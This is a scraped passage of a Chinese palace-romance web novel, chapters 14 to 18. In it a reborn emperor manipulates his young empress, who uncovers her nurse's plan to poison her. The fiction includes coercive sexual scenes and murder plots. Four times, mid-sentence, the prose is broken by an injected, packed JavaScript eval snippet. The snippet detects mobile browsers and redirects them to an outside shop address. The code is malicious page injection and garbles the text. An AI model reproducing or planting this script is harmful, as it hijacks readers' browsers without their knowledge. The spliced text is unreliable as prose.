郁稚:“臣妾不是有意打扰陛下,只是、只是亲手做了牛乳糕来给陛下品尝,赔罪......” 皇帝冷眼扫过食盒里的牛乳糕,赏脸抬手取了一块,入口滋味却不好,“凉了。”语气甚是嫌弃。 “臣妾在外等了半个时辰,这糕点才凉了。” 皇帝:“那是怪朕不好?” 本来就是嘛。郁稚险些脱口而出这么说。但她转念一想,自己与容姐姐的赌注不就是截宠愉嫔她们么? 少女脸颊微红,说话也磕绊,“臣妾的意思是、是、臣妾宫里还有温热的糕点,陛下想不想吃?若想吃可以移驾未央宫......” 皇帝轻笑,她竟还学会争宠了?!上一世他独宠于她,她可从未在他面前如此撒娇卖乖过。 “皇后娘娘好小气,陛下明明招嫔妾侍寝,皇后却又来了!”愉嫔忍不住抱怨道。 欢嫔也帮腔:“正是,自陛下凯旋归来,夜夜召幸皇后,如今难得召见我们姐妹......” 二人皆是瘦马出身,进了宫就为争宠,知道皇后性子软,才不怕她! 郁稚瞬间羞红了脸,她也不想打搅他们...... 萧歧打量着郁稚,可真是没用,上一世的郁稚,后宫哪有妃嫔敢在她面前放肆,“不得对皇后无礼。”他不痛不痒地训斥了愉嫔她们一声,手上沾了牛乳糕,起身去内室擦洗。 手掌方浸入铜盆,郁稚就跟进来,取了帕子在边上侯着。 少女睁着晶莹水润的眼眸,萧歧没有赶她走,接过她递来的帕子,郁稚立即打蛇随棍上,伸手环住男人腰身,踮起足尖,轻轻啄吻在男人唇角。 “陛下今夜随臣妾回未央宫吧?”少女仰着脑袋,满眼星光,熠熠生辉。这些都是容姐姐教她的,瓷白脸颊微微泛红,“臣妾宫里真的还有温热的牛乳糕......” 男人虽然从容,但对着突如其来的一记轻吻没有防备,垂眸瞧着她,倒是有些新奇。 “可是朕已经召了愉嫔欢嫔侍寝,去不了未央宫了。”男人指尖拂开她额间碎发,微微俯身贴在少女耳畔,“皇后何不留下与我们同乐?” 郁稚眼神懵然,同乐是何意? 男人故意笑着道,“横竖龙榻宽绰。”说完满意地看着少女整个人僵住,她被吓到失魂,下意识地后退了两步。 萧歧却揪住她的手臂不许她走,“留下,如何?” “臣妾、臣妾、”郁稚语无伦次,她难以置信,原来所谓的皇帝召幸愉嫔、欢嫔二人,真的是、 “方才不是还主动吻朕么?”皇帝得寸进尺,步步紧逼,“现在又跑什么?” 皇帝就是个疯子!! 十六岁的郁稚哪里斗得过从地狱里归来的怨魂,节节败退直至腰身抵在了桌案,“臣妾、臣妾、” 男人眼底是滚烫的欲念,似笑非笑地瞧着她。 14.第 14 章 “臣妾不打扰陛下听曲了!!”少女被皇帝吓得匆匆离开。 愉嫔欢嫔见状,皆松了一口气,还好皇帝没被皇后勾了去! 萧歧坐回椅榻,“继续。” 愉嫔给欢嫔使了个得意眼色,皇后再美貌,皇帝回来这些时日也都吃腻了,哪怕她将玉美人送到皇上身边,她们未央宫也不可能一直得宠! 男人指尖轻触自己唇角,温软甜腻,余温未散,蠢蠢欲动......再度拿起一块冰凉的牛乳糕...... 琴音之中,萧歧起身离开。 “陛下要去何处?臣妾、臣妾的曲子还没弹完呢!”愉嫔难以置信,皇后真真是妖精,三言两语就把皇帝给勾引走了?! 郁稚逃回未央宫,惊魂未定!什么同乐,什么龙榻宽绰!她死死捂住耳朵,她耳朵都被皇帝给玷污了!! 她什么都没有听见!! 季容瞧见她这蠢笨模样,抱起手臂嘲讽道,“看来愉嫔、欢嫔那两个狐媚子实在厉害,皇后就这么灰溜溜地回来了?” 郁稚道:“陛下原本就召了她们侍寝......” 季容:“没用的东西!!那两个贱人以后更得意了!!” 郁稚觉得愉嫔与欢嫔倒是没什么,皇帝才是没有底线的疯子!! *** 郁稚稳定心绪褪下外袍,“阿母......阿母......” 听见有人进殿的声音,“阿母我要沐浴......” “不是要朕来食牛乳糕么?怎么这么早就要沐浴歇下了?”皇帝推门进来。 郁稚一回眸,惊觉皇帝竟然真来未央宫了! “糕点呢?” 郁稚立即捧了桌上温热的糕点递给皇帝,这太妙了,容姐姐说若能截了愉嫔她们的宠,她就帮忙处理那堆宫务! 郁稚亲手将糕点送到皇帝唇边。 上一世的郁稚在他面前何曾这般温顺讨好过,萧歧还是很受用的,糕点香甜外沁,只是......萧歧并没有张口,眼神饶有深意,“朕不是来食牛乳糕的。” 郁稚凝视着他,不明白他的意思。 萧歧:“牛乳糕哪里有皇后香甜?” 男人俯首轻轻咬住她的小衣,时近立冬,她身着单薄裙裳,小衣素净,雪肌若凝脂。 “若陛下留宿未央宫,愉嫔欢嫔她们会不会不高兴?” 皇帝轻笑:“那朕传她们过来同乐?” 郁稚紧紧闭上了嘴。 “皇后邀了朕来,现在又装无辜?”萧歧觉得新奇极了,“难道你来太极殿,真的只是送糕点的?” 郁稚:“......”自然不是,她是为了那堆宫务。 但是容姐姐教了她一套说辞。 郁稚喃喃道:“陛下已经连着数日没来未央宫了,臣妾思念陛下,每日盼着陛下,可是陛下只顾着愉嫔与欢嫔她们,将臣妾抛诸脑后。” 少女衣衫微凌,带着隐隐哭腔,说得情真意切,眼底清澈,没有上一世时对权力的欲、望。 萧歧觉得有趣,“所以,如今的你也怕失宠是么?”不可一世的郁后,也沦落到了与其他妃嫔争宠的地步。 郁稚点点头,“陛下别不要臣妾。”她扑到他怀里,双臂紧紧地环住男人腰身。嘿嘿,她终于不用担心那些宫务啦。 上一世她紧闭殿门,这一世却主动邀宠。 男人眸光冷傲地看着怀里的人,“你是朕的皇后,愉嫔她们自然比不得你。” 他将人打横抱起,稳步朝着内室走去。 以为又要被狂风暴雨般地对待,郁稚心里怕极了,皇帝对她一向不算温柔。 他的齿尖划过她锁骨,却没有留下任何印痕,只是咬开了她小衣的细带。 “宫务处理得如何了?”皇帝忽然开口问她。 郁稚一晃神,紧绷着的身子微微放松,“已经处理了大半了,还请陛下放心。” 萧歧很想问问她如何处理的?毕竟目不识丁。 但此时此刻他的心思全被她吸引了去,白如羊脂,纤柔婀娜,瓷白浅粉。 郁稚该庆幸她有一副好身子,这是他舍不得杀她的理由。 “皇后说很思念朕?”男人粗粝掌心轻轻摩挲她的脸颊,“有多思念,朕没瞧出来。” 郁稚笨拙地凑上去,轻轻啄吻男 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14099836|148096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人唇角,掌心覆在白玉腰带,笨拙地来解,眸光闪亮,“可臣妾就是很思念陛下。” 皇帝满意地轻笑,眉眼也舒展开来了, ...... 不知是不是郁稚的错觉,今夜的皇帝似乎比以往稍稍温柔一些。黎明时分,他还没有离开。 郁稚醒来时周身温暖,男人温热的气息喷洒在脖间,他还睡着。 外头宫人已经催过几回了。 “陛下,今日有朝会。”郁稚提醒他,同时伸手去掰腰间的手臂,他强势得很。 岂料萧歧直接翻了个身,如山一般压在她背上,同时扣住了她腰身。 毕竟上一世行军打仗,这一世多余的力气只能用在别处了。 ...... 这一日宫里取消了朝会,朝臣们倒是很庆幸,终于能歇一歇了。毕竟从皇帝凯旋归来那一日起,他们过着水深火热的日子。 萧歧晨起沐浴过后,自己都觉得荒唐,竟然着了这妖后的道,误了朝会,也怪自己贪恋女色...... 眼神不禁往郁稚身上瞥,皇后今日心情甚好。 不过是纵了她几分,她就如此欢喜?十六岁的郁稚真是天真。 萧歧穿戴完毕起身离开,“朕不留下用膳了。” “臣妾恭送陛下。”郁稚瞧着皇帝身影消失在门口,转身就去抱起那堆文书往偏殿去了。 殊不知皇帝落了随身的玉佩,亲自折返回来取。 “容姐姐不是说截了愉嫔的宠,就帮我处理这些宫务么?” “容姐姐怎么能说话不算话呢?” “求你了容姐姐,若是今日不处理完,陛下说不定会寻我麻烦!” “昨夜陛下真来了未央宫,请他过来也不是一件难事......” 小皇后的哭声从偏殿传出来,不偏不倚正好落入男人耳朵里。 好,很好!原来她不是开窍了来争宠,而是将他当成了赌注!!他竟然没识破,还真被小妖后三言两语引来了未央宫。 十六岁的郁稚,其实也并没有他以为的乖顺! 男人压着怒意,堂而皇之地推开了偏殿大门。 15.第 15 章 郁稚泪津津地回眸,皇帝怎么去而复返啦?! 萧歧瞧见郁稚跪在地上,而季容则傲慢端坐着,看向郁稚的眼神充斥着憎恶。 “嫔妾参见陛下。”季容立即跪下,“皇后她、皇后命嫔妾处理宫务,嫔妾万万不敢越权。” 郁稚收起泪水,“臣妾、臣妾知错了,臣妾自己处理。” “跟朕来御书房,那儿清净,皇后可以慢慢处理宫务。” 皇帝这不咸不淡的语气叫郁稚脊背发寒,她擦拭眼角泪水,抱着文书跟上了他的脚步。 郁稚手臂无力,捧了一会儿文书就尽数洒落在地,“臣妾、臣妾” 萧歧回眸见她这没出息的样子,一个眼神命身边的侍卫收拾文书,而他则攥过皇后的手臂朝御书房去了。 御书房案牍上奏疏堆积,萧歧大手一挥拨开,将郁稚提溜到案边,“皇后就在这处理宫务!等处理完了,朕再一一查看!” 这可真要了她的命了!郁稚立在案边上,看看文书再看看皇帝。 男人气定神闲地在御案前坐下,他有的是手段收拾她。 “臣妾、臣妾困乏,能不能先去内室休息片刻?”少女眸光流转,迅速想出了个主意。 “休息?”萧歧笑道,“若你父亲鲁国知道皇后白日酣睡御书房,他会作何感想?” 简直骑虎难下..... 郁稚不得不坐到案边,今日还未研墨,“臣妾替陛下研墨如何?!” “随你。”萧歧岂能不知道她小心思。 长期服用软筋散,刚用墨条磨了几回就手酸了,郁稚咬牙忍耐,皇帝也有耐心。 “皇后,这墨是不是太过浓稠了?”一刻之后他柔声问她。 郁稚不得不装模作样翻看起文书,萧歧批阅奏疏,眼角时不时地打量她,“怎么?这一项宫务还没定夺好么?” 少女满面愁容。 “拿过来,朕看看。” 男人滴水不漏的演技,完全看不出是在刁难人,郁稚心都快从喉咙口跳出来了,呜呜呜,她不识字,她不识字啊!! “还请皇上定夺吧......”她将这一页文书递到皇帝面前。 萧歧此刻有十足的耐心,随意扫了一眼,“这是宫女冬衣的事宜,内务府罗列了花销,两千六百两银子,皇后写个准字吩咐他们去办就是了,动笔吧。” 准字如何写?郁稚吓得身子颤抖,“臣妾手腕无力,还是陛下写吧......” “过来。”男人手臂一伸将他揽到身前,将笔塞她手心,而他覆上了她软绵小手,带着她在纸页上落笔。 郁稚心怦怦直跳,又觉得神奇,笔触在纸上游走,龙飞凤舞写下一个字,原来这就是准字,好难写。 “陛下真厉害!”郁稚回眸瞧他,晶莹润眸中满是崇敬。 等等,她这样是不是会露馅,“臣妾的意思是说,陛下的字写得真好,臣妾就写不出这样好的字,陛下真真文武双全!” 上一世的皇后恨他入骨,从未用这样的眼神看他,更不会用这般语气赞他。 萧歧唇角微扬,浮现笑意。 郁稚掀过这一张,“陛下再写一次给臣妾瞧瞧?” 男人顿时松开手心,神情肃穆起来,“朕有一堆的奏疏要看,哪有工夫看这些?!” 怎么说变脸就变脸哪,郁稚眼神小心翼翼的,“那陛下处理政务,臣妾不打扰了,臣妾先回未央宫......” “给朕站住。”萧歧将人揪住,“你今日处理完这些宫务才能回未央宫。” “哎呀,臣妾头好晕,陛下......”郁稚扶着额头要装晕。 “你就装晕这一招了?”萧歧直接拆穿她,指尖捏起一页文书,“来,皇后,念给朕听听。” 少女美目盯着纸页,一个字也不认识,她不得不屈膝跪下,“臣妾、臣妾、臣妾不识字......” 终于招了!萧歧嗤之以鼻。 “皇后的意思是你的父亲鲁国公,将一个目不识丁的女子送到龙榻上来?” 萧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14112124|148096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 歧指尖轻勾起少女下颌,她泪水涟涟,哭得我见犹怜,“欺君可时死罪啊......” “陛下罚臣妾吧,别迁怒父亲,都怪臣妾自小不学无术......” 郁稚能感受到皇帝那鄙弃憎恶的眼神。 “郁稚,像你这样的人,怎堪配皇后之位?你甚至连愉嫔她们都不如,又何资格孕育龙嗣?”萧歧冰凉指尖摩挲过少女脸颊,拂拭泪水,又碾过她嫣红唇瓣,“你该庆幸自己有一副好皮囊,所以只配在床笫之间供朕欢愉。” 萧歧将上一世的意乱神迷归结于她这副皮囊。 郁稚心道,事到如今,保命要紧。 “臣妾自知平庸无能,还请陛下废了臣妾,将臣妾逐出皇宫。” 皇帝眼神凛冽起来。 郁稚:“臣妾从进宫那一日起便如履薄冰,宫里其他妃嫔每个人都比臣妾有才干、” “自古废后都是死在宫中。”皇帝指节再度拭过她面颊,“不过这也不全是你的错,该怪你父亲贪恋权势,朕该杀了他。” 郁稚摇头,“求陛下别杀臣妾父亲!除此之外陛下要臣妾做什么,臣妾都听从陛下吩咐!” 十六岁的郁稚被他轻而易举地玩弄于股掌之上。 “什么都听朕的?”萧歧笑了,从抽屉里取出一样物件丢到郁稚怀里。 郁稚吓得后仰跌倒在地,竟是那柄匕首! “去杀了你的阿母。”萧歧给她选择,“若她死了,朕就饶恕你的父亲,你还是朕的皇后!” 郁稚连匕首都不敢去触碰,皇帝就这么坐在龙椅上,欣赏着她的恐惧她的挣扎。 “记住,这一回得对准心脏的位置,莫要再偏了。” “为何是我阿母?”郁稚不明白,“皇后与我阿母从前有仇么?” 男人眼底幽深如墨,一字一句清晰地告诉郁稚,“因为只有她死了,皇后才能完完全全属于朕一人。” 他要她为他所有,为他掌控,世人所口中窃国的妖后,最终成为匍匐他足边的奴。 16.第 16 章 郁稚回未央宫后,瞿氏来侍候她用晚膳,瞧着她红润眼眸,“陛下斥责皇后了?” 郁稚点点头。瞿氏不自禁暗笑,一个她当牲畜养大的女子,怎么配当皇后! 夜里瞿氏又来侍候她沐浴,郁稚直摇头,“阿母我累极了,今夜不想沐浴。” “那我替皇后宽衣歇息吧?” 郁稚捂着袖子直摇头,袖子里藏着那柄匕首,她揪住瞿氏的手,“阿母,我们逃出皇宫如何?” 瞿氏笑道:“你这孩子,不过挨了陛下训斥,就不愿当皇后了?快别犯傻了!” “陛下他好可怕,他命我杀了阿母,我、我不想阿母死!阿母,带着我和容姐姐一道走吧,回阿母的老家好不好?我们带走金银首饰,也足够将来富贵了,阿母,我求你了!!” 少女说得情真意切,瞿氏却丝毫不信,“我一个奴婢,陛下怎会要我的命!” 心里接着咒骂,皇后之尊,天下女子趋之若鹜,其他人想当还当不了,这个废物偏偏要逃!! “皇后是累了,快躺些歇息!别整日胡说八道!”瞿氏懒得理会她,转身离开了未央宫。 少女不住落泪,她的命都是阿母给的,她怎么能杀阿母呢?! 阿母不信皇帝要杀她,容姐姐呢,会不会信? 郁稚鼓起勇气,打开了通往密室的机关。 “她可真是魔怔了!竟然要抛下这泼天富贵逃出宫去!还说什么皇帝要杀我,要我们跟着她一起走,真是疯了!” 郁稚清晰地听见了瞿氏的声音。 “我看她就是嫉妒我当上妃嫔,怕我分她的宠,故意蒙骗我们!母亲可千万别上当!” “好不容易进了宫,你如今也算是皇帝的女人,母亲自是要跟着你一步一步往上爬的。只是这废物如今碍眼。” “母亲悄无声息地弄死她,往后这未央宫就我们母女俩做主了!横竖她体弱,突然病故也合情合理!” 瞿氏:“弄死她容易,只需在她的甜羹里动手脚,保准宫里查不出来,只是还不是时候。” 阿母舍不得杀她,阿母很疼爱她。郁稚安慰自己,只要自己好好对待容姐姐,阿母就会永远对她好...... 瞿氏:“等你生下皇子,我就动手,一碗毒药的事,叫她跟她那妖孽母亲一样,死在我手里!” 瞿氏的话一字一句入了她的耳。 毒死母亲...... 郁稚听的清清楚楚,阿母毒死她母亲...... 可是阿母明明说...... “你母亲在雨夜难产而亡,你当时也活不成了,得亏我抱着你去找大夫。” “国公与国公夫人都不喜欢你,将你丢在破屋子里不闻不问,还是我日日恳求国公夫人,她才允我来照顾你。” “儿啊,阿母都是为了你啊......” 偏殿内,瞿氏的嘲讽的声音继续传来,郁稚捂住了耳朵,匆匆离开。 “她们母女俩都是妖精!大的那个凭着一张好脸蛋勾引国公,小的这个如今又霸占着皇帝!” 少女脚步慌乱,一步小心被台阶绊住跌坐地上,心慌意乱到连爬起来的力气都没有了。 阿母她一定是在胡说!郁稚不禁掩面哭泣,她在这世上举目无亲,一直将阿母当母亲,季容当亲姐姐,她们、她们、 她哭了许久,原来阿母她不但不是她的救命恩人,而且还是她的弑母仇人,自己孤零零在这世上无人疼爱,竟还认贼做母,她...... “皇后怎么又哭了?” 暗室内响起了低沉熟悉的声音,郁稚狼狈地抬眸,皇帝...... 男人一袭素色广袖长袍,静静地立在她身前,黑暗中她看不清他的眉眼,高大伟岸好似天神降临。 男人纡尊蹲下身来,“罢了,朕都是与你玩笑,怎么可能真让你弑你阿母。” 玩笑...... 十六岁的郁稚纤柔脆弱。少女毫无征兆地扑进他怀里,此时此刻她伤心欲绝,抵在男人胸膛无声地哭泣,“阿母她不要我了......” “朕要你,朕是你的夫君,朕会永远陪着你。”萧歧的声音无限温柔,温柔得郁稚都觉得不真实。 瞿氏是弑母仇人,父亲也不喜欢她,眼下她还有一个亲人,那就是眼前的男人...... 男人手臂将她紧紧嵌入怀里,低垂的眉眼狭长而冷漠。 郁稚不知道的是,此时此刻瞿氏母女正昏睡在偏殿,至于方才一番对话,萧歧寻了两个擅长口技之人模仿的罢了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14125674|148096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只是瞿氏毒杀郁稚生母之事确实一直在国公府下人口中流传。 宽绰的怀抱好温暖,郁稚不自觉往他怀里钻,想与他贴得更近。 男人轻而易举将人抱起,离开了暗室。唇角那一抹笑稍纵即逝,十六岁的郁稚天真无邪,又怎么可能察觉到呢。 *** 翌日皇帝晨起,瞿氏知道他昨夜留宿,便又亲手煮了一碗甜羹,放入避子药送到了膳桌上。 郁稚眼睛红肿,昨夜皇帝静静抱了她一宿。 “娘娘,进了甜羹吧。”瞿氏舀了一勺甜梗。 郁稚仔细瞧了瞧瞿氏,瞿氏的面相并不慈善,甚至带着点儿凶狠,自己从前怎么没察觉呢。 郁稚摇摇头,“阿母我不想食甜羹。”这碗甜羹里指不定有毒药...... 瞿氏:“这甜羹滋补,娘娘自小体弱,怎么能不食呢?快食了吧?”皇帝如今宠幸这妖精不打紧,但绝对不能叫她坏上龙种!瞿氏将汤匙递到她唇边,“这是奴婢亲手煮的,娘娘不是最喜食了么?” 萧歧坐在膳桌边看好戏。 郁稚抿着唇摇头:“我不喝。” 瞿氏脸色变了,“只食三口可好?” “不好!”郁稚这回很硬气,“天底下只有陛下有资格命令我!” 萧歧笑了,看向瞿氏,眼底盘桓着不易察觉的得意,“既然皇后不肯食,你就不要勉强了。” 瞿氏恼羞成怒,偏偏发作不得,只是行了一礼退到一边,“老奴遵命。”既然不肯食甜羹,那她也绝对不伺候这个贱人用膳!饿着吧!或者在皇帝面前用手抓食! 郁稚咬着唇角坐着,指尖轻轻触碰筷子,她的手软弱无力,用不了筷子。 “来,朕伺候皇后用膳。”男人从容地端起粥碗,亲手舀了口粥喂她。 郁稚一口一口食着,不由地靠皇帝近一些。现在她完全不怕他了,甚至有些依赖他。 宫女们皆诧异,皇帝对皇后实在是太温柔了。瞿氏瞧着,心中愈加恼怒几分,郁稚就是只狐狸精!! 萧歧无视所有人的目光,曾经握兵器的手,如今侍候女人用膳,甘之如饴。等着吧,好戏还在后头,他会逼得妖后亲手执起匕首,割开瞿氏的喉咙!再然后,他就可以随心所欲掌控她! 17.第 17 章 郁稚下定决心要弄清母亲的死因。 早膳过后她借口消食去了浣衣局找到了刘姑姑,刘姑姑当年随她一到入宫,后因犯错被阿母赶去了浣衣局。 刘氏瞧见皇后从轿辇上下来,顿时难以置信,昔日纤柔可怜的少女,如今衣着华美,成了高高在上的皇后。 郁稚说明来意。 刘氏迫不及待道,“那瞿氏心肠歹毒!!我进宫后见她掌控着皇后,就想给皇后提个醒,没想到叫她抢先一步坑害进了浣衣局!!” 郁稚:“那我生母是怎么死的?” 刘氏:“正是叫瞿氏那毒妇给坑害的!!她是夫人的贴身婢女,夫人有孕,原本要将她给国公大人的做妾,却不想国公大人看上了你生母,国公大人为她神魂颠倒,一入府便得专宠,瞿氏配了府里小厮,她气不过,便假意接近她,与她成了好姐妹,后来不知使了什么手段毒死了她,幸而你平安降生!这是府里奴仆都知道的事情,国公夫人也知道,但她将此事掩了过去!!皇后娘娘若不信,随便问国公府的老人!瞿氏就是个毒妇!” ...... 未央宫殿内,瞿氏与季容正用着茶点,宫女忽得从内室跑出来,“瞿姑姑,奴婢在皇后枕下找出这个!” 竟是一柄匕首?! “皇后枕下的?”瞿氏诧异,这手柄上缀满宝石,瞧着价值不菲,“她从何处得来的?又是做什么用的?” 季容:“那贱人别是有什么事瞒着母亲吧?上回教坊的事,她记仇了?” 瞿氏:“她心里藏不住事,放心吧,就算她记仇了,为娘轻而易举铲除她。” 午时郁稚回宫来,瞿氏上前扶她,替她褪下氅衣,“皇后娘娘遛弯怎这么久?” 郁稚心里很乱,瞥见桌上的碟子,“阿母与容姐姐将御茶膳坊送来的点心吃光了?” 瞿氏道,“我从前也食这些点心,娘娘也没说过我什么。你可是在外头受了气?” 郁稚:“可如今陛下回宫了,若是叫他看到阿母如此没有规矩,该怪我管教不严了。” 季容恼火道:“我如今是玉美人,不是奴婢,我母亲自然也不是,她肯照顾你你就感恩戴德吧,竟还计较她吃了几块点心?!若没有我母亲、” “季容住口!”瞿氏察觉了郁稚异样,转而对郁稚说,“皇后教训的是,老奴往后必定不敢逾矩了!” 瞿氏拉着季容离开,扭头就去向太监打听,皇后今日去了何处。 浣衣局?!! 国公府的旧仆刘氏在浣衣局,保不齐她对皇后说了些什么!糟糕了!难道皇后知道她母亲的事? 可瞿氏亲自去找刘氏时,发现她已经不在浣衣局了。 而未央宫这头,郁稚眼看着瞿氏匆匆离开了,转头就将宫女芍药叫到面前。 她初进宫时,芍药曾贴身伺候她,后阿母将她赶去了小厨房,芍药曾几次借机来她面前告阿母的状,郁稚全没有信。 芍药:“禀告皇后,奴婢方才真真切切瞧见瞿姑姑进了小厨房,往正炖着的糖藕里加了东西。” 郁稚心乱如麻,清晨那碗甜羹里果然有毒药,瞿氏见她不喝,又在其他膳食里动手脚! 郁稚:“除了糖藕,她还动了其他菜么?” 芍药摇头,“就只掀开了炖糖藕的锅子。” 晚膳时分,瞿氏一改这几日的态度,和蔼可亲地伺候郁稚用膳,“皇后娘娘莫生气了,老奴往后不会乱用皇后的点心了。” 她夹了一块糖藕递过去,里头加了避子的药。 瞿氏这行为,更加印证了郁稚的猜想,糖藕里有毒。 “阿母,我近日不想食甜。”郁稚对面前这片糖藕避如蛇蝎。 瞿氏笑道:“这是小厨房里炖了整整两个时辰的糖藕,最是软糯东西香甜,皇后就赏脸吃一块吧。” 说着往郁稚嘴里塞。 郁稚惊慌失措地跳开,“阿母!我都说我不食了!” 瞿氏:“不食甜羹,不食糖藕,怎么,皇后是担心奴婢奉上的吃食有毒?!” 郁稚:“我、” 瞿氏火冒三丈,“奴婢侍候娘娘十多年了,若是敢下毒,娘娘还活得到今日?可是浣衣局的刘氏来皇后面前搬弄老奴的是非了?!!” 郁稚硬气起来:“刘姑姑她没有搬弄是非!我尊称您一声阿母,阿母却真敢在我的寝宫大呼小叫,成何体统?你滚出去!!” 真是反了天了,瞿氏气得咬牙切齿,“好啊,你的命是我救得,也是我亲手养大的,如今却听信一个外人的话!!好,我走便是了!!” 没用的废物,离了她就什么都不是了!! 瞿氏扔了筷子,气急败坏地离开。 郁稚浑身颤抖不止,眼看着瞿氏进了偏殿。她将其他婢女赶出去,锁上了殿门。 她是故意激怒瞿氏的,转身去了内室打开衣柜机关去密室。 ...... 不出所料,瞿氏母女正说着话。 “刘氏必定向那个废物透露了她母亲的死因。” 季容:“母亲会不会多虑了?她就是个蠢货!” 瞿氏:“不、不,你没瞧见方才那废物看我的眼神都不一样了!她如今坐在皇后宝座之上,若想她母亲报仇,那是轻而易举之事。还有皇帝被她迷得神魂颠倒,只需她哭几声,我们娘俩的小命就没了!” 季容:“若母亲真害怕,那不如先下手为强?横竖这未央宫的宫人全听母亲的吩咐?” 瞿氏:“对!横竖我们母女在宫里也算站稳脚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14132664|148096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟,与其担惊受怕、疑神疑鬼,倒不了结了她,到时候就嫁祸给小厨房里那个叫芍药的小宫女。” ...... 郁稚逃回内室,爬上床榻去摸枕下的匕首,枕下却空空如也,匕首被瞿氏偷走了!! 她哪里还敢睡在未央宫,半夜有可能被瞿氏母女杀了,立即披上披风去了太极殿。 萧歧正靠坐在床栏上看书,“朕未召幸,皇后怎么主动来了?” “臣妾思念陛下,便不过来了。”郁稚乖顺垂眸,眼神飘忽不定,萧歧一眼看出她在说谎。 深秋时节,冻得瓷白小脸微微泛红,萧歧放下书卷,掀开被褥一角,很大方地允她上榻来。 郁稚仿佛抓住了救命稻草,手脚并用爬上龙榻,躲进那个温暖坚实的怀抱。 她从发丝到指尖都是冰凉的,萧歧不禁调侃,“就这么想朕?寒夜独自前来。” 郁稚被他拥在怀里,听着男人浑厚的心跳,觉得特别心安,男人的唇瓣轻轻落在她额间。 萧歧瞧着她,生得倒是肤白貌美。 她的心乱极了,冰凉的手轻轻探入他寝衣衣襟,“陛下,我害怕......” 萧歧眉眼间不禁泛起笑意,他自然知道她在恐惧什么,终于知道了瞿氏的真面目,生怕被她毒杀了?不可一世的郁皇后也有今日! 郁稚想起来前几日做的一个奇怪的梦。 她梦见了皇帝,他一身铠甲方凯旋归来,富丽的未央宫灯火通明,大殿中央却有一个人躺在血泊之中,那是瞿氏的尸体! 皇帝手中一柄长剑,剑尖上滴着血...... 梦中的自己跪坐在瞿氏的尸身旁,因为太痛心连哭都哭不出来。 “皇后就是这般御下的么?” “朕会命人再挑几个宫婢。” “站起身来,堂堂皇后成何体统?!” 梦中的自己缓缓起身,乖巧地听从皇帝的吩咐,压抑心中汹涌的怒意与悲伤。 这个梦离奇且漫长,郁稚已经记不起后来发生的事,只是依稀记得最后的她很后悔,很思念他。 郁稚仰首看向男人,这样的体温,这样的胸膛,也是梦中的最后她所怀念的。 “萧歧,我好想你。”少女胸膛微微起伏。 她的目光如琉璃水晶,不再是懵懂怯懦,哀伤之中透着几分倔强,恍如上一世那掌权专横的郁后。 “皇后太过放肆了,竟敢直呼朕的名讳。”萧歧沉吟道。 郁稚的眼神瞬间变换,心头一颤,自己这是着魔了? “唔、”下一瞬皇帝俯首含住少女唇瓣,热烈的情愫在心中迸发。 眼前的人是二十六岁的郁稚?!他没有看错!这个荒唐的念头叫男人心潮澎湃、难以抑制。 18.第 18 章 初冬时节,素来畏冷的人,额间冒了一层薄寒,脸颊泛红,非一路而来的寒气冻的。少女一手皓白细腕,握着床栏栩栩如生的雕龙。 “你才不是她、”萧歧垂眸看向郁稚,她那一闪而逝哀伤眼神早已经无影无踪。 取而代之的仍旧是懵懂愚蠢,叫人心生恨意,可他停不下来。 郁稚觉得皇帝今夜特别古怪,就因为自己叫他名讳,他便这样生气了?今夜的他比新婚之夜更为凶悍。 “回你的未央宫去!” 一切趋于平静之后,男人从欲念中清醒,瞧着眼前十六岁的郁稚,哪有半分十年后的风华模样,心中燥火难消。 郁稚气息未平,眼神带着几分幽怨,“臣妾今夜能不能留下?” “滚出去!” 郁稚胡乱将衣裳穿在身上,纠结了会儿,下榻跪到地上,她如实禀告了自己的境遇,揭发瞿氏谋害她的意图,“求陛下救救臣妾!!” “堂堂皇后竟怕一个婢女?”萧歧嗤之以鼻。 郁稚:“可是未央宫的婢女与侍卫都听从瞿氏的吩咐,臣妾、臣妾、” 